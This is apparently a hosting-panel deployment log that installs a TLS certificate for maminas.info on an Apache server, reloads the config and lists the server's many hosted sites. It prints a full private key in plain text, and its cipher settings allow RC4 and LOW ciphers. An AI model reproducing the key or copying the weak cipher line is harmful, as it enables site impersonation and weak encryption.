EwNSMTIwHhcNMjUxMTI2MDUwMTQ1WhcNMjYwMjI0MDUwMTQ0WjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDE
qItr9hmwfCzlxgnFcaKR+mhkYoQKet1QjUp/e3vvJR88eocn7LaHWY0K1CTVVscA
8cSktXLpbBTXCHAt18h9iFD61r7Vz9ErmQFiMQM+GkGT0zZD5Eweo5VDB/P9N+//
NItZfz8Dp1CqqtQd3Hmsy2IHUVCKQy4hYplbPKzgOF/dSghQaJsdO+4C89wDiaWC
5nJZSAYj39zb0sXNJHMnpf3sWmDUXtyWeOLM7FdqTNd8lFsEF8RXefWeB0r9Y0f0
pLIdjIhXpq4A2xvqYWtzxudhufHJxFJg4W3cUhkEfdNe0WEWf+UeeiOtXsx7XZmM
J8DrpxpsMbSZhrA0XM4hAgMBAAGjggItMIICKTAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFGQV6rZBt9oz9kcvZafl3H8oA/dbMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMbWFtaW5hcy5pbmZvghB3d3cubWFt
aW5hcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTguY3JsMIIBAwYKKwYBBAHWeQIEAgSB
9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGavr+K
zwAABAMARjBEAiAGVEfxJ3moNdNzCh/lGI3T3y3AhYzn0ICKPge1tdmRCAIgSJCs
hTWz9UBaTKm2J7sntinicIiXLI9VAwMasBm7oYIAdgCWl2S/VViXrfdDh2g3CEJ3
6fA61fak8zZuRqQ/D8qpxgAAAZq+v4s+AAAEAwBHMEUCIQDBBcYpppUjnCXkVVqK
ICaufFV08xfvUVkraHmrbg9uTAIgKQlbLMl1/c6eR6ThfdfrJNBTJQAiyiIIamBp
V5q01HMwDQYJKoZIhvcNAQELBQADggEBAISAzaqF+Rdtfhg0s1zLUOrDcB94oOzF
5gTdfuuqTRiflLomYg+yU9iSxrTn8x0rpLkWjkOOz9EPo/+1vr5myyQWX24Z16vg
fGWuDaWnhUiU7Qa20Xn9gC+wTA1RToGSgDetNzGZ5hOyok2oPYP2f2vSdsbrk+i7
HgozZDZ10Tq8HwMk3BiHiAQibZ+do+8Z6ADvhWRHxyYKOyi9mGXQYh3TEEyowgYu
RMGS/voj5eyJyZPjpx+rY2mnr9bYYbYz+T0LADUdPYRlyhAqlkHm4Nf6syWPae9K
5b75i0aAk4T4FIvrIm9pa/seK4Frgy60VliEckCTp02lVIJMr2LePyI=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDEqItr9hmwfCzl
xgnFcaKR+mhkYoQKet1QjUp/e3vvJR88eocn7LaHWY0K1CTVVscA8cSktXLpbBTX
CHAt18h9iFD61r7Vz9ErmQFiMQM+GkGT0zZD5Eweo5VDB/P9N+//NItZfz8Dp1Cq
qtQd3Hmsy2IHUVCKQy4hYplbPKzgOF/dSghQaJsdO+4C89wDiaWC5nJZSAYj39zb
0sXNJHMnpf3sWmDUXtyWeOLM7FdqTNd8lFsEF8RXefWeB0r9Y0f0pLIdjIhXpq4A
2xvqYWtzxudhufHJxFJg4W3cUhkEfdNe0WEWf+UeeiOtXsx7XZmMJ8DrpxpsMbSZ
hrA0XM4hAgMBAAECggEBALsMDEANfXWtRg7uA9E2Oghagfwo76oAHoxFNvx1+PUG
++TMLc09iobGGC6ahMYdmX4+dmiq5Lc7w76bGgegW+N6Snuq0SwQU8UB7Jz2PT1O
P91YYR7F/9iMgqWU5O6Ny8mSso/XRZo2A7WwcbxNPbWqZHzNTKuVJkU+wNpUpaFE
kqFKI+nrutq2Dbu0fk9vLve5fg4DuQFskU2jUCDGzhvSeDf0U2WHoYPVTGPszTSH
zznlcQOgqXVSqX64yggpX36rYhs6eH5pZFP/pw8TTNXBvmGM0u8aCEC9y5pHE3Rn
Q+DYAaX5HLMJh5YgNsn2S89CwzhQmSdGTQcIgSTrJqECgYEA4n4FASQB4bbZA/v5
t96XVjOWqwPFQA77BKJphlorAecQdg5UcAzBfIkFA5/27B3pDrNXBmecxEZCXape
l2hdRE6jDuunVQPsbLmIZQEbfhND4F9lMW6bJ47Af3hnmHuBnR47Xh6AnhH+Ip6a
MZDG+wZF7eMbOPlLq7WhLIL5XWUCgYEA3keBABfHIGhYg37EN6kgFXCTYRcpIdd2
7KJ/A/KngYVyRMZsNIk+Nr9aMcj/9gY3CVTa8yyxF4z1Mqt1WHqRuXYK1XHL4vvu
OIRX940MBS0hzMSRAYZacdFfbcDgkIFAx5qAyxT/Pe5KGkaIS6kYW33pkWimF9db
FJKwP0H90A0CgYEAsTz2g5b+1ff1STXki6tneDB0pi0ULXXLnyvNMjLbVujPq+K4
1tpUizTaNKT4YHtjhnp3Dm8EcV+dzZhl30vvOGXlGeb1EgU4/TgO8SN1tSo0Qp/E
G3O3fLQsFVROlTeJDT+8K4HpGklwOv0sIr9txsB49phzFBmZyqwejSuNIjUCgYEA
r/kT26r3bmStjozRcu9mAxM42minm68k63pJ7CozCotHR8N+7qiopFchZMCoQ3Hw
KGcRX+tF2Esz44VyRTXkIFufgBOzQmQI2J2NtuHnXkG4vI/x7K8c83a6gf1sy3pI
er2KsTxSRglciSjFxoB8VBJ+0ytyMvW/ma338lygQBECgYBem1FHi1iTh/vz7++S
wiDdFZC419FiRXqVySyUgJAHVGGLCu75zGhsQAve2hk5Pk0JdGLKqa7zC+j7SBSN
cFHTVQuhERNrsoOQlyE6/9Pr8BM0ZcvGU5j4g/g9d2WWLy7WXUxZGmDHwcsSnPwB
FNDz2mzYBnCO878arr52S5LItg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-26 06:00:16:
chmod 755 /tmp/pkp204188; /tmp/pkp204188; rm /tmp/pkp204188
2025-11-26 06:00:16:
dir=/etc/ssl/certs
2025-11-26 06:00:16:
PUT: /tmp/pkp328039
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/maminas_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-26 06:00:16:
chmod 755 /tmp/pkp328039; /tmp/pkp328039; rm /tmp/pkp328039
2025-11-26 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf 40
<VirtualHost *:80>
ServerName maminas.info
ServerAlias www.maminas.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/maminas_www
<Directory /var/www/maminas_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/maminas/www_access.log combined
ErrorLog /var/log/apache2/maminas/www_error.log
SetEnv pkp_uid 56
SetEnv pkp_owner maminas
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName maminas.info
ServerAlias www.maminas.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
DocumentRoot /var/www/maminas_www
<Directory /var/www/maminas_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/maminas/www_secure_access.log combined
ErrorLog /var/log/apache2/maminas/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-26 06:00:16:
PUT: /tmp/pkp385492
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=maminas_www_info.conf
TARGET=/etc/apache2/sites-enabled/maminas_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName maminas.info
ServerAlias www.maminas.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/maminas_www
<Directory /var/www/maminas_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/maminas/www_access.log combined
ErrorLog /var/log/apache2/maminas/www_error.log
SetEnv pkp_uid 56
SetEnv pkp_owner maminas
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName maminas.info
ServerAlias www.maminas.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
DocumentRoot /var/www/maminas_www
<Directory /var/www/maminas_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/maminas/www_secure_access.log combined
ErrorLog /var/log/apache2/maminas/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/maminas_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf= 1'
fi
2025-11-26 06:00:16:
chmod 755 /tmp/pkp385492; /tmp/pkp385492; rm /tmp/pkp385492
2025-11-26 06:00:16:
2025-11-26 06:00:16:
PUT: /tmp/pkp746122
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-26 06:00:16:
chmod 755 /tmp/pkp746122; /tmp/pkp746122; rm /tmp/pkp746122
2025-11-26 06:00:16:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-26 06:00:17: Establishing a connection
2025-11-26 06:00:17:
PUT: /tmp/pkp849219
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-26 06:00:17:
chmod 755 /tmp/pkp849219; /tmp/pkp849219; rm /tmp/pkp849219
2025-11-26 06:00:17:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-26 06:00:17:
PUT: /tmp/pkp471695
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/maminas_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-26 06:00:17:
chmod 755 /tmp/pkp471695; /tmp/pkp471695; rm /tmp/pkp471695
2025-11-26 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf 1355
<VirtualHost *:80>
ServerName maminas.info
ServerAlias www.maminas.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/maminas_www
<Directory /var/www/maminas_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/maminas/www_access.log combined
ErrorLog /var/log/apache2/maminas/www_error.log
SetEnv pkp_uid 56
SetEnv pkp_owner maminas
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName maminas.info
ServerAlias www.maminas.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
DocumentRoot /var/www/maminas_www
<Directory /var/www/maminas_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/maminas/www_secure_access.log combined
ErrorLog /var/log/apache2/maminas/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-26 06:00:17:
PUT: /tmp/pkp798223
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-26 06:00:17:
chmod 755 /tmp/pkp798223; /tmp/pkp798223; rm /tmp/pkp798223
2025-11-26 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt 5365
42:cc:7b:8e:18:05:4f:db:b7:64:90:6b:ba:ff:e5:5e
-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgISBpCWxdiMIsHTWpTDlOXPPeuRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTI2MDUwMTQ1WhcNMjYwMjI0MDUwMTQ0WjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDE
qItr9hmwfCzlxgnFcaKR+mhkYoQKet1QjUp/e3vvJR88eocn7LaHWY0K1CTVVscA
8cSktXLpbBTXCHAt18h9iFD61r7Vz9ErmQFiMQM+GkGT0zZD5Eweo5VDB/P9N+//
NItZfz8Dp1CqqtQd3Hmsy2IHUVCKQy4hYplbPKzgOF/dSghQaJsdO+4C89wDiaWC
5nJZSAYj39zb0sXNJHMnpf3sWmDUXtyWeOLM7FdqTNd8lFsEF8RXefWeB0r9Y0f0
pLIdjIhXpq4A2xvqYWtzxudhufHJxFJg4W3cUhkEfdNe0WEWf+UeeiOtXsx7XZmM
J8DrpxpsMbSZhrA0XM4hAgMBAAGjggItMIICKTAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFGQV6rZBt9oz9kcvZafl3H8oA/dbMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMbWFtaW5hcy5pbmZvghB3d3cubWFt
aW5hcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTguY3JsMIIBAwYKKwYBBAHWeQIEAgSB
9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGavr+K
zwAABAMARjBEAiAGVEfxJ3moNdNzCh/lGI3T3y3AhYzn0ICKPge1tdmRCAIgSJCs
hTWz9UBaTKm2J7sntinicIiXLI9VAwMasBm7oYIAdgCWl2S/VViXrfdDh2g3CEJ3
6fA61fak8zZuRqQ/D8qpxgAAAZq+v4s+AAAEAwBHMEUCIQDBBcYpppUjnCXkVVqK
ICaufFV08xfvUVkraHmrbg9uTAIgKQlbLMl1/c6eR6ThfdfrJNBTJQAiyiIIamBp
V5q01HMwDQYJKoZIhvcNAQELBQADggEBAISAzaqF+Rdtfhg0s1zLUOrDcB94oOzF
5gTdfuuqTRiflLomYg+yU9iSxrTn8x0rpLkWjkOOz9EPo/+1vr5myyQWX24Z16vg
fGWuDaWnhUiU7Qa20Xn9gC+wTA1RToGSgDetNzGZ5hOyok2oPYP2f2vSdsbrk+i7
HgozZDZ10Tq8HwMk3BiHiAQibZ+do+8Z6ADvhWRHxyYKOyi9mGXQYh3TEEyowgYu
RMGS/voj5eyJyZPjpx+rY2mnr9bYYbYz+T0LADUdPYRlyhAqlkHm4Nf6syWPae9K
5b75i0aAk4T4FIvrIm9pa/seK4Frgy60VliEckCTp02lVIJMr2LePyI=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
